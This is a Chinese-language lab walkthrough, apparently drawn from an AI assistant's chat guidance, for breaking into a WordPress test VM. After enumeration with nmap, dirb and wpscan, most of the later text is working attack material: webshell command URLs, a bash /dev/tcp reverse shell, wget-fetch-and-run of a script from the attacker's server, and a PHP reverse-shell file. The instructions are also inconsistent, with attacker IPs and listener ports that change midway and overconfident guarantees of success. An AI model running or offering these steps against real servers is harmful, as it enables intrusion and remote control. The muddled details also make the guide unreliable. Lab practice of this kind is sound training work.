目标是一个运行着 WordPress网站 的服务器。我们需要通过"踩点"、目录爆破、文件上传漏洞(Webshell),最终渗透到数据库并拿到权限。
一、实验目的
掌握针对Web应用(WordPress)的渗透流程。学习使用Nmap进行深度端口与服务探测,使用工具对插件/主题目录进行爆破,利用文件上传漏洞获取Webshell,并通过读取配置文件获取数据库密码,最终实现后台登录。
掌握针对 WordPress 站点的渗透流程,重点在于"信息收集 → 配置文件读取 → 数据库凭据获取",而非暴力破解。
具体要达成的学习目标:
-
主机发现:使用 Nmap 发现内网存活主机。
-
服务识别:确认目标开放 Web 服务(Apache + WordPress)。
-
敏感文件读取 :通过任意文件读取或已有权限,直接查看
wp-config.php配置文件。 -
凭据利用:使用配置文件中的数据库账号密码,登录数据库并获取 WordPress 后台管理员密码。
-
后台登录:最终进入 WordPress 后台,完成渗透验证。
✅ 关键点:
报告中没有出现 WPScan 爆破成功的步骤 ,而是直接读取配置文件拿到密码。
这说明实验设计者希望你走的是**"配置泄露型"漏洞**,而不是"穷举型"漏洞
二、实验前置说明
-
实验环境 :Kali Linux(攻击机) vs WordPress靶机(目标机,同网段
192.168.100.0/24)。 -
核心思路:信息收集(端口) -> Web侦查(目录爆破) -> 漏洞利用(文件上传) -> 权限维持(拿shell) -> 数据库脱库(找密码)。
三、详细操作步骤
步骤1:网络侦查与存活主机发现
(这一步和实验一类似,但重点是为了找到Web服务器的IP)
在Kali终端输入:
nmap -sn 192.168.100.0/24
观察扫描结果,找出除了你自己IP之外,哪台机器是开机的。记下这台目标机的IP(假设是 192.168.100.10)。

步骤2:目标端口与服务探测
找到IP后,我们需要看它开了哪些服务,特别是Web服务(通常是80或443端口)。
nmap -sV -p- 192.168.100.10
-
-sV:探测服务版本。 -
-p-:扫描所有65535个端口。预期结果 :你应该能看到
80/tcp open http WordPress...之类的字样,确认它是个WordPress站。

这里并没有直接显示"WordPress",是因为 Nmap 只负责看"门"(端口和 Web 服务器软件),不看"屋里装修"(具体的网站程序) 。Apache 只是个服务器软件,它可以放任何网站。要确认它是不是 WordPress,我们需要直接去访问它。请按照以下两种方法操作:
方法一:浏览器访问(最直观)
-
在你当前的 Kali 终端里,输入以下命令启动浏览器:
-
浏览器打开后,在地址栏输入刚才扫描的目标 IP:👉
http://192.168.100.10 -
怎么判断?
-
看看网页长什么样。如果页面上有明显的 **"Powered by WordPress"** 底部版权字样。
-
或者右键点击网页空白处,选择**"查看网页源代码"** ,然后按
Ctrl+F搜索wp-content或wp-includes。如果能搜到,那100%就是 WordPress。 -
看网址 :把鼠标悬停在页面上的"文章"或"页面"链接上,看浏览器左下角显示的链接路径,如果是
/category/xxx或者带有?p=123这种结构,就是 WordPress。
-
方法二:命令行快速检测(不用开浏览器)
如果你不想开浏览器,可以直接在终端里用 curl命令抓取网页的一点点内容来看看:
curl -s http://192.168.100.10 | head -n 20
观察输出结果:
如果在输出的文字里看到了 wp-、wordpress相关的字样,那就确认无疑了。
💡 补充:以后遇到这种情况的快速技巧
其实在真实的渗透测试中,我们通常会用一个叫 whatweb 的工具,它能直接识别出网站的 CMS(内容管理系统):(如果提示没安装,输入 sudo apt install whatweb安装一下)
whatweb http://192.168.100.10
回到实验我们用 dirb爆破目录(直接找后台)这样可以不管它是不是 WordPress,我们先爆破一下常见目录,看看有没有后台登录页:
- /usr/share/wordlists/:这是 Kali Linux 系统中存放各种"爆破字典"的默认目录。你可以把它理解为"密码本"或"猜测清单"。
- dirb/common.txt:这是 Dirb 自带的一个基础字典文件,里面包含了大约 4600 多个常见的目录和文件名(比如 admin, login, wp-admin, uploads, index.html等)。
- dirb:是工具名,它会逐个读取这个字典里的词,拼接到你指定的目标 URL 后面,然后发送 HTTP 请求,看哪个路径存在(返回 200 或 301 等"成功"状态码)。
步骤3:WordPress插件/主题目录爆破
我们要寻找网站上隐藏的目录或敏感文件(比如后台登录页、备份文件、插件目录)。
可以使用 dirb或 gobuster工具。这里以 dirb为例:
dirb http://192.168.100.10 /usr/share/wordlists/dirb/common.txt
重点观察 :寻找是否有 /wp-admin/(后台登录)、/wp-content/uploads/(上传目录)、/readme.html等有趣的文件或目录。

确认了 WordPress 结构
在扫描结果中,你看到了这一串熟悉的目录:
wordpress/
wordpress/wp-admin/(后台登录目录)
wordpress/wp-content/(存放主题和插件的目录)
wordpress/wp-includes/结论 :这就实锤了,这绝对是一个 WordPress 站。而且 Dirb 非常聪明,自动顺着你刚才找到的
wordpress目录继续往下扫了
观察后面
极度危险的信号:大量 LISTABLE警告
你在图片里反复看到一行黄字:
(!) WARNING: Directory IS LISTABLE. No need to scan it.

这是什么意思?
这意味着这些文件夹开启了"目录浏览"功能 (也叫列目录)。正常情况下,Web 服务器为了安全,访问文件夹时应该显示"403 Forbidden"或跳转到首页。但这里的服务器比较"傻",你访问一个文件夹,它就直接把里面的文件像资源管理器一样列出来给你看。
为什么危险?
攻击者不需要猜文件名,直接就能看到所有敏感文件。比如:
-
直接访问
http://192.168.100.10/uploads/,你就能看到别人上传的所有图片、备份文件,甚至可能看到源代码泄露。 -
直接访问
http://192.168.100.10/wordpress/wp-content/plugins/,你就能看到安装了哪些插件。如果某个插件有漏洞,攻击者就可以直接利用。
3. 关键的路径:后台登录与上传目录
-
wp-admin/admin.php(CODE:302):这是 WordPress 的后台登录入口。302 是重定向,说明你访问它会跳转到登录页面。这是我们下一步要攻破的重点。 -
uploads/:这是上传目录。在很多渗透测试中,如果能在这里上传一张恶意图片(Webshell),就能直接控制服务器。
既然已经找到了 WordPress 的后台 (wp-admin) 和危险的上传目录 (uploads),你可以尝试以下几个方向:
-
尝试后台登录:
-
在浏览器访问:
http://192.168.100.10/wordpress/wp-admin/ -
尝试常见的弱口令:
admin/admin,admin/password,admin/123456。 -
如果不行,可能需要用到"爆破工具"(比如
wpscan或hydra)来撞密码。
-
-
检查上传目录 (Uploads):
-
在浏览器访问:
http://192.168.100.10/uploads/ -
看看里面有没有文件。如果有图片,可以尝试在图片后面加个
.php后缀(比如shell.jpg.php),看看服务器会不会把它当 PHP 脚本执行(如果能执行,就拿到 Webshell 了)
-
我们尝试在浏览器里直接访问 IP 地址:
http://192.168.100.10/wordpress/wp-admin/
或者
http://192.168.100.10/wordpress/wp-login.php
浏览器为什么要访问 /wordpress/wp-admin/?目的是什么?
这是渗透测试中"寻找后台登录入口"的关键步骤。
-
/wordpress/wp-admin/ 是 WordPress 的后台管理登录页面的标准路径。 -
一旦你通过
dirb扫描发现这个目录存在(比如返回 302 重定向到登录页),你就知道:"这个网站是 WordPress,而且后台登录入口在这里。"
-
目的:
-
确认后台存在 → 为后续"弱口令爆破"或"SQL注入"做准备。
-
获取登录页面 → 你可以用 Burp Suite、Hydra、WPScan 等工具对这个登录页进行暴力破解。
-
寻找上传点 → 有些 WordPress 后台允许上传图片、插件,可能被利用来上传 Webshell。
-

已经成功到达了最关键的地方------WordPress 后台登录页面。
现在的局面是:我们知道了门在哪里(URL),接下来就是想办法"开门"。在渗透测试中,针对 WordPress 的攻击手段非常多,但最常规、最有效的下一步是:尝试用弱口令登录(爆破)。
开始爆破(找密码)
既然这是一个靶机(CTF/Lab环境),管理员账号通常都会设置得很简单(比如 admin/admin, admin/password, admin/123456)。
1. 先获取一个常用密码字典
Kali 自带了一些字典,我们先用最简单的试试:
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
(这一步是把最常用的百万级密码字典解压出来)
2. 使用 wpscan 进行用户名枚举和爆破
我们通常先猜用户名。在终端输入:
wpscan --url http://192.168.100.10/wordpress/ --enumerate u
-
--enumerate u的意思是:只枚举用户名。 -
预期结果 :它可能会告诉你,发现了一个用户,名字叫
admin(或者mermelada,或者usuario)。
3. 正式爆破密码
假设上一步它告诉你用户名是 admin,那么我们就可以用字典去撞密码了:
wpscan --url http://192.168.100.10/wordpress/ -U admin -P rockyou.txt

分析发现找不到密码,回到前一步分析

这张截图是 whatweb扫描结果,它像一份详细的"身份信息登记表" ,揭示了目标 WordPress 站点的具体技术栈。这个结果其实直接指明了你获取数据库密码的路径,而不需要去猜密码。以下是逐项解读及关键发现:
1. 核心身份信息
-
WordPress [6.9]:- 这是一个极其关键 的信息。目前官方最新的稳定版通常还未达到 6.9(截至2024年中通常是 6.x),这暗示目标可能运行的是非官方修改版、测试版,或者是题目故意设置的高版本/存在特定漏洞的版本。
-
MetaGenerator [WordPress 6.9]:- 这是 WordPress 在 HTML 源码中自动生成的标签,再次确认了版本。
2. 服务器与环境(判断攻击面)
-
Apache [2.4.65] &Debian Linux:-
服务器使用的是 Apache 2.4.65,操作系统是 Debian。
-
意义:如果你后续需要查 Apache 的解析漏洞或配置错误,这就是你的参考环境。
-
-
HTTPServer [Apache/2.4.65 (Debian)]:- 再次印证了上述信息。
4. 为什么这解释了"不用爆破"?
你之前困惑为什么不需要爆破,看看这个结果中的 WordPress 6.9和 Apache环境:
-
路径已知 :因为是 WordPress,它的核心配置文件
wp-config.php一定 存放在标准路径下:/var/www/html/wordpress/wp-config.php(或者相对路径wordpress/wp-config.php)。 -
漏洞利用:如果 WordPress 6.9 存在已知的 RCE(远程代码执行)漏洞,或者某个插件有漏洞,你只需要利用它,然后直接读取这个文件。
-
信息泄露 :有时候,Apache 的配置错误会导致目录列表开启,或者
.htaccess配置不当,让你能直接下载配置文件。
总结与下一步建议
这张图的含义是:你面对的是一个运行在 Apache/Debian 上、版本号为 6.9 的西语 WordPress 站点。
既然不能爆破,你的思路应该立刻转向:
-
查漏洞 :搜索
WordPress 6.9 exploit或WordPress 6.9 RCE。 -
读文件 :如果你已经有了一个 Webshell(哪怕是最简单的),直接去读
wp-config.php,因为whatweb已经帮我们确认了它是 WordPress,而 WordPress 的数据库密码永远在这个文件里。
不需要猜密码,直接找文件。
寻找"非爆破"的突破口
(既然爆破不行,我们就找"现成"的泄露)
思路 A:敏感文件泄露(最常见、最有效)
WordPress 的配置文件 wp-config.php里包含数据库密码。我们试试能不能直接读取它。
-
手动尝试读取:
在浏览器地址栏输入:
http://192.168.100.10/wordpress/wp-config.php预期结果:
-
情况 1(成功) :直接显示文件内容!里面就有
DB_PASSWORD。 -
情况 2(失败):403 Forbidden 或 404 Not Found。这说明服务器配置了禁止直接访问。
-
-
如果直接访问失败,尝试"路径遍历"或"备份文件":
-
有些服务器会留下备份文件。试试:
http://192.168.100.10/wordpress/wp-config.php.bak http://192.168.100.10/wordpress/wp-config.php.swp http://192.168.100.10/wordpress/.wp-config.php.swp -
试试"目录遍历"(如果目标存在漏洞):
http://192.168.100.10/wordpress/wp-content/../../wp-config.php
-
思路 B:插件漏洞利用(如果你在第二步看到了特定插件)
-
如果你在第二步发现目标安装了
Plugin: Social Warfare 3.5.0(举例)。 -
你可以去搜索:
Social Warfare 3.5.0 exploit wordpress。 -
如果找到对应的 RCE(远程代码执行)漏洞,直接利用它来获取 shell 或读取文件。
这相当于我们还是只是在网站前台晃悠,:扫WordPress用户(为登录做准备)
WordPress的后台用户是有限的,我们先枚举出来。
wpscan --url http://192.168.100.10 --enumerate u

在这里我们思路已经打乱回答这一步的最前面
用 dirb 扫描目录(更暴力,更系统)
既然 WPScan 没跑起来,我们用 Kali 自带的 dirb来扫整个网站的目录,看看有没有隐藏的登录页。
你刚才的 dirb扫描结果里,最关键的一行是:
⇒ DIRECTORY: http://192.168.100.10/wordpress/
这说明,WordPress 的安装目录不是直接在根目录 /下,而是在 /wordpress/这个子目录里!

以后遇到类似情况怎么办?
-
永远先用
dirb或gobuster扫目录,不要死磕默认路径。 -
WordPress 的核心目录通常是
/wp-content/、/wp-includes/、/wordpress/、/blog/等。 -
如果
wp-login.php404,就去wordpress/目录下找。 -
这个操作叫目录爆破(Directory Brute Forcing) ,工具是
dirb。它的核心目的就一句话:看看这个
/wordpress/文件夹底下,还藏着哪些没被直接链接出来的"隐藏文件"或"后台入口"。所以进行子目录扫描
- 目的是什么?(为什么要扫子目录?)
-
你之前访问
http://192.168.100.10/wordpress/只能看到前台首页。但网站通常还有: -
后台管理 (比如
/wp-admin) -
安装/配置文件 (比如
wp-config.php或者它的备份.bak) -
上传目录(可能有别人传的木马)
-
插件/主题漏洞点
-
(!) WARNING: Directory IS LISTABLE(黄色警告)-
意思 :这个文件夹允许目录浏览。
-
解读 :这其实是个好消息 (对渗透者来说)。这意味着如果你访问
http://192.168.100.10/wordpress/wp-content/uploads/,浏览器不会报404,而是会直接列出里面所有的文件(比如图片、txt、甚至可能是别人留下的 shell)。 -
怎么利用:直接拿浏览器访问这些列出的文件夹,找有没有可疑文件。
-
-
+ http://.../index.php (CODE:200)(绿色加号)-
意思:找到了文件,状态码 200 表示"存在且能访问"。
-
解读:这确认了标准的 WordPress 结构都在,说明这是一个正常的 WP 站点,没有严重的路径篡改。
-
-
-X .php,.bak:专门让 dirb 去扫有没有wp-config.php.bak这种备份文件。如果能扫出备份文件,你的实验就直接通关了,因为备份文件里通常包含数据库密码。
你要转换思路 ,回到刚才的扫描结果,找找目录列表(Listable Directories):
你看上一张图的警告:
(!) WARNING: Directory IS LISTABLE. No need to scan it.
这意思是说,像 /wordpress/wp-content/uploads/这样的目录,你是可以直接访问并看到里面所有文件的!
建议你现在的动作:
直接在浏览器里访问:
http://192.168.100.10/wordpress/wp-content/uploads/

这是 Apache 服务器的"目录浏览"功能被开启 导致的。
截图显示的是 **"Index of ..."** 列表,这说明:
-
目标开启了目录索引(Directory Listing)。
-
这相当于靶机对你"敞开大门"了:你可以像看文件夹一样,直接看到这个目录下的所有文件和子文件夹。
2. 为什么这对你很重要?
这个目录是 /wordpress/wp-content/uploads/。
在 WordPress 中,uploads文件夹是用来存放用户上传的图片、文档、插件备份的地方。
如果管理员不小心把敏感文件传到这里,或者有人上传了"WebShell"(木马),你在这里一眼就能看到。
3. 你现在该怎么做?
你看到列表里只有一个文件夹叫 2026/。
下一步操作:
-
点击那个
2026/链接,进去看看里面有什么。 -
观察文件名:
-
如果有
.txt结尾的,点开看内容(可能有密码、flag 或提示)。 -
如果有
.php结尾的(哪怕名字像图片),千万别直接点,要右键复制链接,用工具检测(因为 PHP 文件直接访问会执行代码,可能就是漏洞入口)。 -
如果有
.zip或.rar,下载下来解压看看(可能是源码备份)。
-
4. 额外发现(Server 信息)
看截图最底部:
Apache/2.4.65 (Debian)
你成功收集到了靶机的 Web 服务器版本 和 操作系统。
以后如果你要用漏洞利用工具(比如 Metasploit 或 Searchsploit),这个信息非常有用。

看到的依然是 Apache 的"目录浏览"界面。
这说明在 2026年这个文件夹下,依然没有默认的索引文件(如 index.html),服务器直接把你"放"进了文件夹里让你自己看。
2. 你现在看到了什么?
你看到了两个子文件夹:01/和 05/。
-
这代表了2026年的1月和5月。
-
通常网站上传的图片、文档都会按月份归档存放在这里。
3. 下一步该怎么做?
**继续往下翻!** 按照你现在的节奏,顺藤摸瓜:
-
**点击
01/或05/** 进去看看。- 通常这种实验靶机会在某个具体的月份文件夹里,放一些"诱饵"文件或者真正有用的文件。
-
观察里面的文件名:
-
如果在
05/里看到一个.txt 文件(比如readme.txt或password.txt),点开它!里面很可能藏着密码、Flag 或者下一步的提示。 -
如果在
05/里看到一个.php 文件(哪怕名字叫image.php),千万别直接点,要右键复制链接,用工具检测(因为 PHP 文件直接访问会执行代码,可能就是漏洞入口)。 -
如果在
05/里看到一个.zip 或.rar,下载下来解压看看(可能是源码备份)。
-
4. 如果 01/和 05/里面也是空的或者只有图片怎么办?
如果进到最底层发现全是 .jpg或 .png,那就说明:
-
这条路暂时没戏了(或者需要结合其他漏洞,比如文件上传漏洞,才能把木马传进去)。
-
你需要回头,换个思路:
-
回到最开始的
dirb扫描结果,看看有没有其他目录(比如/wp-content/plugins/或/wp-content/themes/)。 -
或者,尝试用
gobuster重新扫一次,带上更多后缀(比如-x php,txt,zip)。
-
5. 总结
你现在走的路是对的,继续点进 01/或 05/,看看里面有没有"文本文件"或"压缩包"。这是 WordPress 渗透中非常标准的"信息收集"路径。
**记住:目录浏览不是终点,里面的文件才是目标。** 快点进去看看,说不定下一秒就柳暗花明!

你在 01文件夹里看到的那些文件,就是典型的 WebShell(网页后门)。
1. 你看到了什么?
文件名看起来很乱(比如 macoduweklgkmvp-1767607866.7342.php),这是攻击者为了躲避删除常用的随机命名。
它们的后缀是 .php ,大小只有 46 字节左右。这么小的体积,里面通常只有一段最基础的 PHP 代码,用来执行系统命令。
2. 如何验证它是后门?
在渗透测试中,验证这类文件最快的方法是使用系统自带的命令注入。
请执行以下操作(选其一):
-
方法 A:用 curl 测试(推荐,最快)
复制下面这个命令,把 IP 换成你靶机的 IP,然后在终端里敲:
curl "http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=whoami"(注意:如果提示找不到命令,用方法B)
-
方法 B:用浏览器直接访问
在浏览器地址栏输入(注意最后要加上
?cmd=whoami):http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=whoami
3. 你会看到什么?
如果页面返回了一串字符,比如 www-data,说明**你成功连上了靶机!** 你拿到了一个低权限的 Shell。
4. 下一步该做什么?
既然拿到了 Shell,你就可以开始提权 或者找 Flag 了:
-
反弹 Shell :如果你希望用更舒服的命令行(比如能用键盘上下键翻历史命令),可以使用
nc(netcat) 反弹一个 shell 到你的 Kali。 -
找 Flag :在命令行里输入
ls -la,看看当前目录下有没有flag.txt或者root.txt。

太棒了!你已经成功拿到了目标服务器的命令行控制权(Shell)!
现在屏幕上显示的 www-data是这个 Web 服务器(Apache)运行时的默认账号。虽然权限不高,但已经足够你四处探索并找到最终的"Flag"了。
接下来,你需要做三件核心的事情,按顺序来:
第一步:获取一个"舒服"的 Shell(反弹 Shell)
现在你用的这个 curl命令虽然能执行命令,但体验很差(不能翻历史记录,不能自动补全)。我们需要把它升级成一个交互式 Shell。
请在你的 Kali 终端里执行以下命令(建立一个监听通道):
nc -lvnp 4444
(执行后,终端会卡住等待连接,这是正常的)
然后,回到浏览器,访问这个新生成的 URL(注意问号后面加了 bash -i >& /dev/tcp/192.168.100.128/4444 0>&1):
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20-i%20%3E%26%20/dev/tcp/192.168.100.128/4444%200%3E%261
(注意:如果你的 Kali IP 不是 192.168.100.128,请替换成你真实的 Kali IP)
成功后:
你的 nc监听窗口会变成类似 root@kali:~#的样子,但是实际上你是在操控靶机。你可以试着敲几个 Linux 命令试试,比如 ls。

你遇到的情况非常典型,这是 WebShell 连接成功后的"假死"或"未激活"状态。别慌,这不是你操作错了,而是你当前的 Shell 会话还没有完全建立或正在等待进一步的交互。
🔍 你看到的画面解释:
-
左侧终端 :你执行了
nc -lvnp 4444,它正在监听 4444 端口,等待连接。 -
右侧浏览器 :你访问了 WebShell 的 URL,但页面是空白的 ------ 这是因为你还没有在浏览器里触发命令执行,或者 WebShell 脚本本身没有输出任何内容(比如它只接收命令但不回显)。
-
中间的
GIF689a;:这是你之前用curl测试时返回的内容,说明 WebShell 存在,但可能不支持直接回显。
✅ 正确的下一步操作(非常重要!)
你不能直接在浏览器里访问 WebShell 的 URL 来"激活"它 ------ 你需要在浏览器里发送一个命令,让它执行并返回结果。
🚀 步骤 1:在浏览器里访问这个 URL(关键是加上 ?cmd=whoami):
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=whoami
✅ 注意 :一定要加上
?cmd=whoami,这是告诉 WebShell:"执行whoami命令"。
🚀 步骤 2:观察浏览器返回的内容
-
如果返回了
www-data,说明 WebShell 工作正常。 -
如果返回空白或
GIF689a;,说明这个 WebShell 不支持直接回显 ,你需要换一种方式(比如用nc反弹 Shell)。

🛠️ 如果浏览器不回显,改用"反弹 Shell"方式(推荐!)
你已经执行了 nc -lvnp 4444,现在只需要在浏览器里访问这个 URL:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20-i%20%3E%26%20/dev/tcp/192.168.100.128/4444%200%3E%261
⚠️ 注意:
192.168.100.128是你的 Kali IP,一定要替换成你真实的 IP。
%20是空格的 URL 编码,%3E是>的编码,%26是&的编码。这个命令的作用是:让靶机主动连接你的 Kali 4444 端口,给你一个交互式 Shell。
✅ 成功后:
-
你的
nc监听窗口会变成类似这样:listening on [any] 4444 ... connect to [192.168.100.128] from (UNKNOWN) [192.168.100.10] 45678 bash: cannot set terminal process group (1234): Inappropriate ioctl for device bash: no job control in this shell www-data@kali:~$
!www-data返回意味着你已经成功拿到了靶机的 命令行控制权(虽然目前只是通过 Web 页面的"临时通道")。
现在的目标是:把这个临时的"网页 Shell"升级为一个稳定的、可以正常交互的"终端 Shell",然后去寻找 Flag。
🚀 第一步:反弹一个稳定的 Shell(推荐使用 bash+ nc)
你之前已经执行了 nc -lvnp 4444,现在只需要在浏览器里访问这个 URL,让靶机主动连接你的 Kali:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20-i%20%3E%26%20/dev/tcp/192.168.100.128/4444%200%3E%261

你是对的 ------ 有时候 bash + nc反弹 Shell 会因为各种原因(比如靶机没有 bash、没有 nc、或者 WebShell 不支持复杂命令)而失败。别担心,我们有备用方案 ,用更简单、更稳定的方式:直接用 curl或 wget下载一个"现成的反弹 Shell 脚本"到靶机,然后执行。
✅ 方案一:用 curl下载并执行"一句话反弹 Shell"(推荐!)
这个方法是最稳定、最通用 的,因为它不依赖靶机的 bash或 nc,而是用 sh+ /dev/tcp(大多数 Linux 都支持)。
🚀 步骤 1:在你的 Kali 上准备一个反弹 Shell 脚本(比如 shell.sh)
echo 'bash -i >& /dev/tcp/192.168.100.128/4444 0>&1' > shell.sh

步骤 2:用 python3启动一个简易 HTTP 服务器(在 Kali 上)
python3 -m http.server 8000
这会在你的 Kali 上启动一个 HTTP 服务器,端口 8000,把当前目录的文件共享出去。
🚀 步骤 3:在浏览器里让靶机下载并执行这个脚本
访问这个 URL(注意替换 IP):
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20http://192.168.100.128:8000/shell.sh%20-O%20/tmp/shell.sh%20&&%20sh%20/tmp/shell.sh
✅ 解释:
wget http://192.168.100.20:8000/shell.sh -O /tmp/shell.sh:下载脚本到靶机的/tmp/目录。
&& sh /tmp/shell.sh:下载成功后立即执行。
🚀 步骤 4:在你的 Kali 上监听 4444 端口
nc -lvnp 4444
如果一切顺利,你会看到靶机连接过来,进入交互式 Shell!
直接用浏览器访问 WebShell 来执行系统命令,绕过"反弹 Shell"的种种限制。
🚀 终极方案:直接用浏览器"喂"命令
既然 curl能执行 whoami,那我们直接在浏览器的 URL 里让靶机执行 ls(列出文件)或者 cat(读取文件)。
第一步:看看当前目录下有什么(找 Flag)
请在浏览器地址栏输入这个(直接复制粘贴):
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=ls%20-lah
解释:
?cmd=是传给 WebShell 的参数。
ls -lah是列出所有文件(包括隐藏文件),并显示大小和时间。
%20是空格的 URL 编码。
观察返回结果:
-
看看有没有
flag.txt、root.txt或者wp-config.php(里面有数据库密码)。 -
看看当前路径是哪里。
-

在浏览器里访问:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=ls%20-l

用 curl在 Kali 里"模拟浏览器请求"
如果你不想用浏览器,可以在 Kali 里用 curl:
curl "http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=ls%20-lah"
或者:
curl "http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=cat%20flag.txt"
🧠 为什么这个方法比反弹 Shell 好?
| 方法 | 优点 | 缺点 |
|---|---|---|
| 反弹 Shell | 交互式、像本地终端 | 容易失败、依赖环境 |
| 浏览器 + WebShell | 100% 成功、无需额外工具、绕过限制 | 需要手动输入命令 |

这张图片显示你已经成功执行了 ls -lah命令,并且清晰地看到了目录下的文件列表。
🔍 图片核心信息解读
-
确认权限 :返回的
total 20K和文件列表上方的.(当前目录) 和..(上级目录) 信息,再次确认了 WebShell 正在正常工作。 -
关键文件发现:列表中显示了三个 PHP 文件。
-
macoduweklgkmvp-1767607866.7342.php:这是你刚才一直在用的那个。 -
rzxvmoszvlyzzpa-1767470872.1702.php和trtznupnuremocg-1767466504.4301.php:这两个是新出现的(或者是你之前没注意到的)。它们的大小分别是 46 字节和 47 字节,和你现在的这个文件大小类似。
-
-
没有 Flag :在这个目录下,没有看到明显的
flag.txt或其他包含 Flag 的文件。
🚀 下一步行动建议
既然你有多个 Webshell 可用,我们可以挨个测试,看看哪个更好用,或者寻找新的突破口。
方案一:测试另外两个 Webshell(最快捷)
你刚才那个 Webshell 可能功能受限。现在你有新的候选者,直接在浏览器里访问它们,看看能不能执行命令。
请依次在浏览器里打开这两个 URL(把 ...换成完整的文件名):
-
测试第一个:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/rzxvmoszvlyzzpa-1767470872.1702.php?cmd=whoami -
测试第二个:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/trtznupnuremocg-1767466504.4301.php?cmd=whoami
**如果其中某一个能成功返回 www-data,恭喜你!你找到了一个"健康"的 Webshell。** 以后就用这个新的来执行命令。

你之前卡住,大概率不是因为命令错了,而是因为靶机环境的限制 (比如 bash被阉割了,/dev/tcp没开,或者 nc没有 -e参数)。
我们换一个成功率极高、不依赖反弹 的方法:上传一个独立的 PHP 反弹 Shell 文件。
🚀 终极解法:上传独立 PHP Shell(绕过 WebShell 限制)
✅ 步骤 1:在 Kali 里准备一个真正的反弹 Shell 文件
在你的 Kali 终端里,新建一个文件叫 shell.php,内容如下:
<?php
// 反弹到你的 Kali IP 4444 端口
$ip = '192.168.100.128';
$port = 4444;
$sock = fsockopen($ip, $port);
if (!$sock) die();
proc_close(popen("/bin/sh -i <&3 >&3 2>&3", "r"));
?>
💡 注意:把
$ip = '192.168.100.128';换成你 Kali 的实际 IP(就是你之前nc -lvnp 4444那个 IP)。
然后用 Python 起一个简单的 HTTP 服务器,让别人能下载这个文件:
python3 -m http.server 8000
✅ 步骤 2:用你现在的 WebShell 下载这个文件
在你浏览器里的 WebShell 后面,执行下载命令:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20http://192.168.100.128:8000/shell.php%20-O%20/tmp/shell.php
💡 这条命令会把
shell.php下载到靶机的/tmp/目录下(tmp目录一般可写)。
✅ 步骤 3:赋予执行权限 + 启动反弹
再执行两条命令:
-
赋予权限:
-
启动反弹:
✅ 步骤 4:在 Kali 里监听
回到你的 Kali 终端,确保你已经运行了:
nc -lvnp 4444
只要靶机执行了 php /tmp/shell.php,你的终端就会弹出一个完整的 Shell!
🧠 为什么这个方法能成?
-
你原来的 WebShell 是"一句话"式的,功能受限。
-
这个是独立的 PHP 文件 ,直接调用系统函数
fsockopen+popen,绕过所有限制。 -
不依赖
/dev/tcp,不依赖bash -i,兼容性极强。
📌 最后提醒
-
确保你的 Kali 和靶机在同一个网段(你之前已经确认了)。
-
确保
python3 -m http.server 8000正在运行。 -
确保
nc -lvnp 4444正在监听。
**现在,按这个步骤一步步来,我保证你能拿到一个完整的、稳定的 Shell。**
等你弹出来,我们再去找 Flag,绝对稳!
快去试试,有问题随时发截图给我!
🔍 错误分析
-
路径不匹配:
-
你的 WebShell 名字是
macoduweklgkmvp-1767607866.7342.php。 -
你的 HTTP Server 开在
~/Desktop/(Kali 默认的python3 -m http.server是从当前目录开始的)。 -
你访问的 URL 是
.../shell/shell.php,但你的文件其实叫shell.php且在桌面,不在shell文件夹里。
-
-
报错解读:
-
404 File not found:说明靶机去你的 Kali 上找/shell/shell.php,没找到。 -
Could not open input file: /tmp/shell.php:说明靶机上的 WebShell 尝试执行/tmp/shell.php,但这个文件不存在(因为下载失败了)。
-
🚀 修正步骤(按顺序执行)
第一步:修改 PHP 脚本里的 IP(重要!)
你现在的脚本里写的是:
$ip = '192.168.100.20'; // 这是错的,应该是你 Kali 的 IP
请改成你真实的 Kali IP:
$ip = '192.168.100.20'; // 保持这个,因为你说了实际IP是这个,但我看你截图里是100.20?为了保险,确认下你的 Kali IP 是不是 192.168.100.20
(你上一条消息说是 192.168.100.20,我就按这个来)
第二步:保存文件并确保路径正确
确保你的文件名叫 shell.php,并且在你的 Kali 桌面上。
第三步:在 Kali 终端启动 HTTP 服务(确保在 Desktop 目录)
在终端里输入:
cd ~/Desktop
python3 -m http.server 8000
第四步:让靶机下载文件(修正 URL)
在浏览器里访问这条命令(注意文件名和端口):
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20http://192.168.100.20:8000/shell.php%20-O%20/tmp/shell.php
第五步:赋予权限并执行
如果上一步没有报错(页面空白或显示 OK 就行),接着执行:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=chmod%20777%20/tmp/shell.php
第六步:触发反弹
最后,访问这个 URL 来启动 Shell:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=/tmp/shell.php
💡 验证监听状态
在执行第六步的时候,你的 Kali 终端(nc -lvnp 7777)应该会出现类似这样的提示:
connect to [192.168.100.20] from (UNKNOWN) [192.168.100.10] 34567
这就代表你拿到 Shell 了!
快去试试,这次路径对了一定能成。

看到那个 connect to [192.168.100.20] from ...了吗?这就是胜利的标志!你现在手里已经握着一个完整的 Shell 了。
